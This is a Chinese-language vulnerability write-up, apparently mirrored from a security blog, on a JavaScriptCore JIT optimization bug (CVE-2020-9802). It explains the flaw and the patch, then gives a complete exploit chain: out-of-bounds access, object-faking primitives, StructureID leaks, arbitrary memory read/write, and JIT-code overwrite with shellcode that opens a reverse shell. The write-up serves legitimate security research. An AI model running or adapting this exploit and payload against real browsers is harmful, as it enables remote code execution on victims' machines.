6

CVE-2020-9802 JSC CSE漏洞分析

 2 years ago
source link: https://www.anquanke.com/post/id/245946
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
robots

0x00 前言

编译器优化中有一项CSE(公共子表达式消除),如果JS引擎在执行时类型收集的不正确,将导致表达式被错误的消除引发类型混淆。

0x01 前置知识

公共子表达式消除即为了去掉那些相同的重复计算,使用代数变换将表达式替换,并删除多余的表达式,如

let c = Math.sqrt(a*a + a*a);

将被优化为

let tmp = a*a;
let c = Math.sqrt(tmp + tmp);

这样就节省了一次乘法,现在我们来看下列代码

let c = o.a;
f();
let d = o.a;

由于在两个表达式之间多了一个f()函数的调用,而函数中很有可能改变.a的值或者类型,因此这两个公共子表达式不能直接消除,编译器会收集o.a的类型信息,并跟踪f函数,收集信息,如果到f分析完毕,o.a的类型也没有改变,那么let d = o.a;就可以不用再次检查o.a的类型。
在JSC中,CSE优化需要考虑的信息在Source/JavaScriptCore/dfg/DFGClobberize.h中被定义,从文件路径可以知道,这是一个在DFG阶段的相关优化,文件中有一个clobberize函数,

template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor>
void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def)
{
.............................................
    case CompareEqPtr:
        def(PureValue(node, node->cellOperand()->cell()));
        return;
..............................................

clobberize函数中的def操作定义了CSE优化时需要考虑的因素,例如上面的def(PureValue(node, node->cellOperand()->cell()));,如果要对CompareEqPtr运算进行CSE优化,需要考虑的因素除了value本身的值,还需要的是Operand(操作数)的类型(cell)。

边界检查消除

与V8的checkbounds消除类似,当数组的下标分析确定在数组的大小范围之内,则可以消除边界检查,但如果编译器本身的检查方式出现溢出等问题,编译器认为idx在范围之内而实际则可能不在范围内,错误的消除边界检查将导致数组溢出。
为了研究JSC在什么条件下可以消除边界检查,我们使用如下代码进行测试调试

function foo(arr,idx) {
   idx = idx | 0;
   if (idx < arr.length) {
      if (idx & 0x3) {
         idx += -2;
      }
      if (idx >= 0) {
         return arr[idx];
      }
   }
}

var arr = [1.1,2.2,3.3,4.4,5.5,6.6];

for (var i=0;i<0xd0000;i++) {
   foo(arr,2);
}

debug(describe(arr));
print();
debug(foo(arr,0x3));

给print的函数断点用于中断脚本以进行调试b *printInternal,运行时加上-p选项将优化时的数据输出为json,从json文件中,我们看到foo函数的字节码

[   0] enter
[   1] get_scope          loc4
[   3] mov                loc5, loc4
[   6] check_traps        
[   7] bitor              arg2, arg2, Int32: 0(const0)
[  12] get_by_id          loc6, arg1, 0
[  17] jnless             arg2, loc6, 29(->46)
[  21] bitand             loc6, arg2, Int32: 3(const1)
[  26] jfalse             loc6, 9(->35)
[  29] add                arg2, arg2, Int32: -2(const2), OperandTypes(126, 3)
[  35] jngreatereq        arg2, Int32: 0(const0), 11(->46)
[  39] get_by_val         loc6, arg1, arg2
[  44] ret                loc6
[  46] ret                Undefined(const3)

其中[ 39] get_by_val loc6, arg1, arg2用于从数组中取出数据,在DFG JIT时,其展开的汇编代码为

          0x7fffaf101fa3: mov $0x7fffaef0bb48, %r11
          0x7fffaf101fad: mov (%r11), %r11
          0x7fffaf101fb0: test %r11, %r11
          0x7fffaf101fb3: jz 0x7fffaf101fc0
          0x7fffaf101fb9: mov $0x113, %r11d
          0x7fffaf101fbf: int3 
          0x7fffaf101fc0: mov $0x7fffaef000dc, %r11
          0x7fffaf101fca: mov $0x0, (%r11)
          0x7fffaf101fce: cmp -0x8(%rdx), %esi
          0x7fffaf101fd1: jae 0x7fffaf1024cb
          0x7fffaf101fd7: movsd (%rdx,%rsi,8), %xmm0
          0x7fffaf101fdc: ucomisd %xmm0, %xmm0
          0x7fffaf101fe0: jp 0x7fffaf1024f2
          0x7fffaf101fce: cmp -0x8(%rdx), %esi
          0x7fffaf101fd1: jae 0x7fffaf1024cb

用于检查下标是否越界,可见DFG JIT阶段并不会去除边界检查,尽管我们在代码中使用了if语句将idx限定在了数组的长度范围之内。边界检查去除表现在FTL JIT的汇编代码中,从json文件中可以看到FTL JIT时,对字节码字节码[ 39] get_by_val loc6, arg1, arg2的展开如下

D@86:<!0:->    ExitOK(MustGen, W:SideState, bc#39, ExitValid)
D@63:<!0:->    CountExecution(MustGen, 0x7fffac9cf140, R:InternalState, W:InternalState, bc#39, ExitValid)
D@66:<!2:->    GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@68, Check:Untyped:D@10, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid)  predicting NonIntAsDouble
D@85:<!0:->    KillStack(MustGen, loc6, W:Stack(loc6), ClobbersExit, bc#39, ExitInvalid)
D@67:<!0:->    MovHint(DoubleRep:D@66<Double>, MustGen, loc6, W:SideState, ClobbersExit, bc#39, ExitInvalid)
ValueRep(DoubleRep:Kill:D@66<Double>, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)

从中可以看到GetByVal中传递的参数中含有InBounds标记,那么其汇编代码中将不会检查下标是否越界,因为前面已经确定下标在范围内。为了查看FTL JIT生成的汇编代码,我们使用gdb调试,遇到print语句时会断点停下

此时,我们对butterfly中对应的位置下一个硬件读断点,然后继续运行

pwndbg> rwatch *0x7ff803ee4018
Hardware read watchpoint 79: *0x7ff803ee4018
pwndbg> c
Continuing.

然后断点断下

   0x7fffaf101b9c    movabs r11, 0x7fffaef000dc
   0x7fffaf101ba6    mov    byte ptr [r11], 0
   0x7fffaf101baa    cmp    esi, dword ptr [rdx - 8]
   0x7fffaf101bad    jae    0x7fffaf102071 <0x7fffaf102071>

   0x7fffaf101bb3    movsd  xmm0, qword ptr [rdx + rsi*8]
 ► 0x7fffaf101bb8    ucomisd xmm0, xmm0
   0x7fffaf101bbc    jp     0x7fffaf102098 <0x7fffaf102098>

我们发现这仍然存在cmp esi, dword ptr [rdx - 8]检查了下标,这是由于FTL JIT是延迟优化的,可能还没优化过来,我们按照前面的步骤重新试一下

   0x7fffaf1039fa    mov    eax, 0xa
   0x7fffaf103a00    mov    rsp, rbp
   0x7fffaf103a03    pop    rbp
   0x7fffaf103a04    ret    

   0x7fffaf103a05    movsd  xmm0, qword ptr [rdx + rax*8]
 ► 0x7fffaf103a0a    ucomisd xmm0, xmm0
   0x7fffaf103a0e    jp     0x7fffaf103aeb <0x7fffaf103aeb>

发现这次,边界检查被去除了,为了查看更多的代码片段,我们使用gdb的dump命令将这段代码dump出来用IDA分析

pwndbg> vmmap 0x7fffaf103a0a
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7fffaf0ff000     0x7fffaf104000 rwxp     5000 0       +0x4a0a
pwndbg> dump memory ./2.bin 0x7fffaf0ff000 0x7fffaf104000
pwndbg>

可以看到语句

      if (idx & 0x3) {
         idx += -2;
      }

执行完毕后,无需再一次检查idx < arr.length,因为这是一个减法操作,正常情况下idx减去一个正数肯定会变小,小于arr.length,因此就去掉了边界检查。

0x02 漏洞分析利用

patch分析

diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h
index b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGClobberize.h
+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h
@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu

     case ArithAbs:
         if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
-            def(PureValue(node));
+            def(PureValue(node, node->arithMode()));
         else {
             read(World);
             write(Heap);
@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
         if (node->child1().useKind() == Int32Use
             || node->child1().useKind() == DoubleRepUse
             || node->child1().useKind() == Int52RepUse)
-            def(PureValue(node));
+            def(PureValue(node, node->arithMode()));
         else {
             read(World);
             write(Heap);

该patch修复了漏洞,从patch中可以知道,这原本是一个跟CSE优化有关的漏洞,patch中加入了node->arithMode()参数,那么在CSE优化时,不仅要考虑操作数的值,还要考虑算术运算中出现的溢出等因素,即使最终的值一样,如果其中一个表达式是溢出的,也不能进行CSE优化。

POC构造

首先从patch可以知道,修改的内容分别在ArithAbsArithNegate分支,它们分别对应了JS中的Math.abs-运算。
尝试构造如下代码

function foo(n) {
   if (n < 0) {
      let a = -n;
      let b = Math.abs(n);
      debug(b);
   }
}

for (var i=0;i<0x30000;i++) {
   foo(-2);
}

foo部分字节码如下

[  17] negate             loc7, arg1, 126
..........
[  48] call               loc6, loc8, 2, 18

分别代表了-n和Math.abs(n);,在DFG JIT阶段,其展开为如下

[ 17]
CountExecution
GetLocal
ArithNegate(Int32:D@39, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)
MovHint
[ 48]
CountExecution
FilterCallLinkStatus
ArithAbs(Int32:D@39, Int32|UseAsOther, Int32, CheckOverflow, Exits, bc#48, ExitValid)
Phantom
Phantom
MovHint

在FTL JIT阶段,代码变化如下

[ 17]
CountExecution
ArithNegate(Int32:Kill:D@76, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)
KillStack
ZombieHint
[ 48]
CountExecution
FilterCallLinkStatus
KillStack
ZombieHint

可以看到ArithAbs被去除了,这就是漏洞所在,ArithAbsArithNegate的不同点在于,ArithNegate不检查溢出,而ArithAbs会检查溢出,因此对于0x80000000这个值,-0x80000000值仍然为-0x80000000,是一个32位数据,而Math.abs(-0x80000000)将扩展位数,值为0x80000000。显然编译器没有察觉到这一点,将ArithAbsArithNegate认为是公共子表达式,于是便可以进行互相替换。
因此构造的POC如下

function foo(n) {
   if (n < 0) {
      let a = -n;
      let b = Math.abs(n);
      debug(b);
   }
}

for (var i=0;i<0xc0000;i++) {
   foo(-2);
}

foo(-0x80000000);

程序输出如下

..............
--> 2
--> 2
--> 2
--> 2
--> 2
--> -2147483648

可以看到,这个值并不是Math.abs(-0x80000000)的准确值。

OOB数组构造

利用边界检查消除来进行数组的溢出

function foo(arr,n) {
   if (n < 0) {
      let a = -n;
      let idx = Math.abs(n);
      if (idx < arr.length) { //确定在边界之内
         if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值
            idx += -0x7ffffffd;
         }
         if (idx >= 0) { //确定在边界之内
            return arr[idx]; //溢出
         }
      }
   }
}

var arr = [1.1,2.2,3.3];
for (var i=0;i<0xc0000;i++) {
   foo(arr,-2);
}

debug(foo(arr,-0x80000000));

因为编译器的错误优化,idx是一个32位数,那么idx < arr.length的检查通过,那么后续的return arr[idx]; //溢出将不会检查右边界,因此可以溢出数据。通过测试,发现POC有时可以成功溢出,有时不能

root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 1.5488838078e-314
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> undefined

这是因为漏洞最终发生在FTL JIT,这个是延迟优化的,可能在执行最后的debug(foo(arr,-0x80000000));还没生成好JIT代码,因此具有微小的随机性,不影响漏洞利用。为了查看FTL JIT的汇编代码,我们使用前面介绍的方法,对arr的butterfly下硬件断点,然后停下时将代码片段dump出来

seg000:00007FFFAF10346F                 mov     ecx, eax
seg000:00007FFFAF103471                 neg     ecx
seg000:00007FFFAF103473                 mov     rdx, [rdx+8]
seg000:00007FFFAF103477                 cmp     ecx, [rdx-8]
seg000:00007FFFAF10347A                 jl      loc_7FFFAF103496
seg000:00007FFFAF103480                 mov     dword ptr [rsi+737C1Ch], 1
seg000:00007FFFAF10348A                 mov     rax, 0Ah
seg000:00007FFFAF103491                 mov     rsp, rbp
seg000:00007FFFAF103494                 pop     rbp
seg000:00007FFFAF103495                 retn
seg000:00007FFFAF103496 ; ---------------------------------------------------------------------------
seg000:00007FFFAF103496
seg000:00007FFFAF103496 loc_7FFFAF103496:                       ; CODE XREF: seg000:00007FFFAF10347A↑j
seg000:00007FFFAF103496                 test    ecx, 80000000h
seg000:00007FFFAF10349C                 jnz     loc_7FFFAF1034E8
seg000:00007FFFAF1034A2                 test    ecx, ecx
seg000:00007FFFAF1034A4                 jns     loc_7FFFAF1034C0
................
seg000:00007FFFAF1034E8 loc_7FFFAF1034E8:                       ; CODE XREF: seg000:00007FFFAF10349C↑j
seg000:00007FFFAF1034E8                 mov     rcx, 0FFFFFFFF80000003h
seg000:00007FFFAF1034EF                 sub     ecx, eax
seg000:00007FFFAF1034F1                 test    ecx, ecx
seg000:00007FFFAF1034F3                 jns     loc_7FFFAF1034C0
seg000:00007FFFAF1034F9                 jmp     loc_7FFFAF1034AA
................
seg000:00007FFFAF1034C0 loc_7FFFAF1034C0:                       ; CODE XREF: seg000:00007FFFAF1034A4↑j
seg000:00007FFFAF1034C0                                         ; seg000:00007FFFAF1034F3↓j
seg000:00007FFFAF1034C0                 mov     eax, ecx
seg000:00007FFFAF1034C2                 movsd   xmm0, qword ptr [rdx+rax*8]
seg000:00007FFFAF1034C7                 ucomisd xmm0, xmm0
seg000:00007FFFAF1034CB                 jp      loc_7FFFAF1035A8
seg000:00007FFFAF1034D1                 movq    rax, xmm0
seg000:00007FFFAF1034D6                 sub     rax, rdi
seg000:00007FFFAF1034D9                 mov     dword ptr [rsi+737C1Ch], 1
seg000:00007FFFAF1034E3                 mov     rsp, rbp
seg000:00007FFFAF1034E6                 pop     rbp
seg000:00007FFFAF1034E7                 retn

从中可以看出,上述汇编代码正好印证了我们前面的分析,neg ecx代表了Math.abs(),然后cmp ecx, [rdx-8]比较右边界,但由于ecx是32位,0x80000000比较通过,然后

seg000:00007FFFAF1034E8                 mov     rcx, 0FFFFFFFF80000003h
seg000:00007FFFAF1034EF                 sub     ecx, eax

使得ecx为3,最后通过

seg000:00007FFFAF1034C0                 mov     eax, ecx
seg000:00007FFFAF1034C2                 movsd   xmm0, qword ptr [rdx+rax*8]

进行数组溢出读取数据。那么我们可以用同样的方法,越界写改写下一个数组对象butterfly中的lengthcapacity,从而构造一个oob的数组对象。首先要在内存上布局三个相邻的数组对象

arr0 ArrayWithDouble,
arr1 ArrayWithDouble,
arr2 ArrayWithContiguous,

通过arr0溢出改写arr1的lengthcapacity,即可将arr1构造为oob的数组

var arr = [1.1,2.2,3.3];
var oob_arr= [2.2,3.3,4.4];
var obj_arr = [{},{},{}];

debug(describe(arr));
debug(describe(oob_arr));
debug(describe(obj_arr));
print();

发现三个数组的butterfly不相邻,并且类型不大对

--> Object: 0x7fffef1a83e8 with butterfly 0x7fe00cee4010 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049
--> Object: 0x7fffef1a8468 with butterfly 0x7fe00cee4040 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049
--> Object: 0x7fffef1a84e8 with butterfly 0x7fe00cefda48 (Structure 0x7fffae7f9860:[0xe077, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 57463

前两个类型为CopyOnWriteArrayWithDouble,导致它们与arr2的butterfly不相邻,于是尝试这样构造

let noCow = 13.37;
var arr = [noCow,2.2,3.3];
var oob_arr = [noCow,2.2,3.3];
var obj_arr = [{},{},{}];

debug(describe(arr));
debug(describe(oob_arr));
debug(describe(obj_arr));
print();
--> Object: 0x7fffef1a6168 with butterfly 0x7fe01e4fda48 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484
--> Object: 0x7fffef1a61e8 with butterfly 0x7fe01e4fda68 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484
--> Object: 0x7fffef1a6268 with butterfly 0x7fe01e4fda88 (Structure 0x7fffae7f9860:[0x5994, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 22932

这回就相邻了,然后我们利用前面的漏洞构造oob数组

function foo(arr,n) {
   if (n < 0) {
      let a = -n;
      let idx = Math.abs(n);
      if (idx < arr.length) { //确定在边界之内
         if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值
            idx += -0x7ffffffd;
         }
         if (idx >= 0) { //确定在边界之内
            arr[idx] = 1.04380972981885e-310; //溢出
         }
      }
   }
}

let noCow = 13.37;
var arr = [noCow,2.2,3.3];
var oob_arr = [noCow,2.2,3.3];
var obj_arr = [{},{},{}];

for (var i=0;i<0xc0000;i++) {
   foo(arr,-2);
}
foo(arr,-0x80000000);

debug(oob_arr.length);

输出如下,需要多次尝试,原因前面说过

root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 4919

利用oob_arr和obj_arr即可轻松构造出addressOf和fakeObject原语

泄露StructureID

getByVal

在新版的JSC中,加入了StructureID随机化机制,使得我们前面介绍的喷射对象,并猜测StructureID的方法变得困难,成功率极大降低。因此需要使用其他方法,一种方法是利用getByVal

static ALWAYS_INLINE JSValue getByVal(VM& vm, JSGlobalObject* globalObject, CodeBlock* codeBlock, JSValue baseValue, JSValue subscript, OpGetByVal bytecode)
{
   ..............................
    if (subscript.isUInt32()) {
       .......................
        } else if (baseValue.isObject()) {
            JSObject* object = asObject(baseValue);
            if (object->canGetIndexQuickly(i))
                return object->getIndexQuickly(i);

其中canGetIndexQuickly源码如下

    bool canGetIndexQuickly(unsigned i) const
    {
        const Butterfly* butterfly = this->butterfly();
        switch (indexingType()) {
...............
        case ALL_DOUBLE_INDEXING_TYPES: {
            if (i >= butterfly->vectorLength())
                return false;
            double value = butterfly->contiguousDouble().at(this, i);
            if (value != value)
                return false;
            return true;
        }
............
    }

getIndexQuickly代码如下

    JSValue getIndexQuickly(unsigned i) const
    {
.............
        case ALL_DOUBLE_INDEXING_TYPES:
            return JSValue(JSValue::EncodeAsDouble, butterfly->contiguousDouble().at(this, i));
...............
        }
    }

从上面可以知道getIndexQuickly这条路径不会使用到StructureID,那么如何触发getByVal呢?经过测试,发现对不是数组类型的对象,使用[]运算符可以触发到getByVal

var a = {x:1};
var b = a[0];
debug(b);
print();

因此,我们可以尝试构造一个假的StructureID,使得它匹配StructureID时发现不是数组类型,就可以调用到getByVal

var arr_leak = new Array(noCow,2.2,3.3);
function leak_structureID(obj) {
   let jscell_double = p64f(0x00000000,0x01062307);
   let container = {
      jscell:jscell_double,
      butterfly:obj
   }

   let container_addr = addressOf(container);
   let hax = fakeObject(container_addr[0]+0x10,container_addr[1]);
   f64[0] = hax[0];
   let structureID = u32[0];
   //修复JSCell
   u32[1] = 0x01082307 - 0x20000;
   container.jscell = f64[0];;
   return structureID;
}

var structureID = leak_structureID(arr_leak);
debug(structureID);
print();

调试如下
baseValue.isObject()判断通过,将进入分支

 ► 962         } else if (baseValue.isObject()) {
   963             JSObject* object = asObject(baseValue);
   964             if (object->canGetIndexQuickly(i))
   965                 return object->getIndexQuickly(i);
   966 
   967             bool skipMarkingOutOfBounds = false;
pwndbg> p baseValue.isObject()
$3 = true

接下来,我们跟踪进入canGetIndexQuickly函数

In file: /home/sea/Desktop/WebKit/Source/JavaScriptCore/runtime/JSObject.h
   272             return false;
   273         case ALL_INT32_INDEXING_TYPES:
   274         case ALL_CONTIGUOUS_INDEXING_TYPES:
   275             return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);
   276         case ALL_DOUBLE_INDEXING_TYPES: {
 ► 277             if (i >= butterfly->vectorLength())
   278                 return false;
   279             double value = butterfly->contiguousDouble().at(this, i);
   280             if (value != value)
   281                 return false;
   282             return true;
pwndbg> p butterfly->vectorLength()
$11 = 32767

这里获取了容量,如果i在长度范围之内,则返回true,即可成功取得数据。由于这里我们是将arr_leak这个对象当成了butterfly,因此容量也就是&arr_leak-0x4处的数据,即

pwndbg> x /2wx 0x7fffef1613e8-0x8
0x7fffef1613e0:    0xef1561a0    0x00007fff

与32767对应上了。由此我们看出,这种方法的条件是&arr_leak-0x4处的数据要大于0即可,因此可以在内存布局的时候在arr_leak前面布置一个数组并用数据填充。如果不在前面布局一个数组用于填充,则利用程序将受到随机化的影响而不稳定。

Function.prototype.toString.call

另一个方法是通过toString() 函数的调用链来实现任意地址读数据,主要就是伪造调用链中的结构,最终使得identifier指向需要泄露的地址处,然后使用Function.prototype.toString.call获得任意地址处的数据,可参考文章

function leak_structureID2(obj) {
    // https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf

    var unlinkedFunctionExecutable = {
        m_isBuitinFunction: i2f(0xdeadbeef),
        pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
        m_identifier: {},
    };

    var fakeFunctionExecutable = {
      pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
      m_executable: unlinkedFunctionExecutable,
    };

    var container = {
      jscell: i2f(0x00001a0000000000),
      butterfly: {},
      pad: 0,
      m_functionExecutable: fakeFunctionExecutable,
    };


    let fakeObjAddr = addressOf(container);
    let fakeObj = fakeObject(fakeObjAddr[0] + 0x10,fakeObjAddr[1]);

    unlinkedFunctionExecutable.m_identifier = fakeObj;
    container.butterfly = obj;

    var nameStr = Function.prototype.toString.call(fakeObj);

    let structureID = nameStr.charCodeAt(9);

    // repair the fakeObj's jscell
    u32[0] = structureID;
    u32[1] = 0x01082309-0x20000;
    container.jscell = f64[0];
    return structureID;
}

任意地址读写原语

在泄露了StructureID以后,就可以伪造数组对象进行任意地址读写了

var structureID = leak_structureID2(arr_leak);
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;

//debug(describe(arr_leak));
debug('[+] structureID=' + structureID);

var victim = [1.1,2.2,3.3];
victim['prop'] = 23.33;

var container = {
   jscell:f64[0],
   butterfly:victim
}

var container_addr = addressOf(container);
var hax = fakeObject(container_addr[0]+0x10,container_addr[1]);

var padding = [1.1,2.2,3.3,4.4];
var unboxed = [noCow,2.2,3.3];
var boxed = [{}];

/*debug(describe(unboxed));
debug(describe(boxed));
debug(describe(victim));
debug(describe(hax));
*/

hax[1] = unboxed;
var sharedButterfly = victim[1];
hax[1] = boxed;
victim[1] = sharedButterfly;


function NewAddressOf(obj) {
   boxed[0] = obj;
   return u64f(unboxed[0]);
}

function NewFakeObject(addr_l,addr_h) {
   var addr = p64f(addr_l,addr_h);
   unboxed[0] = addr;
   return boxed[0];
}

function read64(addr_l,addr_h) {
   //必须保证在vicim[-1]处有数据,即used slots和max slots字段,否则将导致读取失败
   //因此我们换用另一种方法,即利用property去访问
   hax[1] = NewFakeObject(addr_l + 0x10,addr_h);
   return NewAddressOf(victim.prop);
}

function write64(addr_l,addr_h,double_val) {
   hax[1] = NewFakeObject(addr_l + 0x10,addr_h);
   victim.prop = double_val;
}

劫持JIT编译的代码

var shellcodeFunc = getJITFunction();
shellcodeFunc();
var shellcodeFunc_addr = NewAddressOf(shellcodeFunc);
var executable_base_addr = read64(shellcodeFunc_addr[0] + 0x18,shellcodeFunc_addr[1]);

var jit_code_addr = read64(executable_base_addr[0] + 0x8,executable_base_addr[1]);
var rwx_addr = read64(jit_code_addr[0] + 0x20,jit_code_addr[1]);
debug("[+] shellcodeFunc_addr=" + shellcodeFunc_addr[1].toString(16) + shellcodeFunc_addr[0].toString(16));

debug("[+] executable_base_addr=" + executable_base_addr[1].toString(16) + executable_base_addr[0].toString(16));
debug("[+] jit_code_addr=" + jit_code_addr[1].toString(16) + jit_code_addr[0].toString(16));
debug("[+] rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));

const shellcode = [
    0x31, 0xD2, 0x31, 0xF6, 0x40, 0xB6, 0x01, 0x31, 0xFF, 0x40, 0xB7, 0x02, 0x31, 0xC0, 0xB0, 0x29,
    0x0F, 0x05, 0x89, 0x44, 0x24, 0xF8, 0x89, 0xC7, 0x48, 0xB8, 0x02, 0x00, 0x09, 0x1D, 0x7F, 0x00,
    0x00, 0x01, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0xE6, 0xB2, 0x10, 0x48, 0x31, 0xC0, 0xB0, 0x2A,
    0x0F, 0x05, 0x8B, 0x7C, 0x24, 0xF8, 0x31, 0xF6, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x01, 0x8B,
    0x7C, 0x24, 0xF8, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x02, 0x8B, 0x7C, 0x24, 0xF8, 0xB0, 0x21,
    0x0F, 0x05, 0x48, 0xB8, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x48, 0x89, 0x44, 0x24,
    0xF0, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0x8D, 0x7C, 0x24, 0xF0, 0x48, 0x31, 0xC0, 0xB0,
    0x3B, 0x0F, 0x05
];

function ByteToDwordArray(payload)
{

    let sc = []
    let tmp = 0;
    let len = Math.ceil(payload.length/6)
    for (let i = 0; i < len; i += 1) {
        tmp = 0;
        pow = 1;
        for(let j=0; j<6; j++){
            let c = payload[i*6+j]
            if(c === undefined) {
                c = 0;
            }
            pow = j==0 ? 1 : 256 * pow;
            tmp += c * pow;
        }
        tmp += 0xc000000000000;
        sc.push(tmp);
    }
    return sc;
}

//debug(describe(shellcodeFunc));

//debug(shellcode.length);
//替换jit的shellcode
let sc = ByteToDwordArray(shellcode);
for(let i=0; i<sc.length; i++) {
   write64(rwx_addr[0] + i*6,rwx_addr[1],i2f(sc[i]));
}

debug("trigger shellcode")
//执行shellcode
print();
shellcodeFunc();

print();

这里,我们使用ByteToDwordArray将shellcode转为6字节有效数据每个的数组,这样是为了在write64时能一次写入6个有效数据,减少for(let i=0; i<sc.length; i++)的次数,避免write64被JIT编译,否则会报错崩溃,原因是因为我们伪造的对象未通过编译时的某些检查,但这不影响我们漏洞利用。
结果展示

0x03 感想

通过本次研究学习,理解了JSC的边界检查消除机制,同时也对JSC中的CSE有了一些了解,其与V8之间也非常的相似。

0x04 参考

FireShell2020——从一道ctf题入门jsc利用
WebKit Commitdiff
eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods
JITSploitation I:JIT编译器漏洞分析
Project Zero: JITSploitation I: A JIT Bug


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK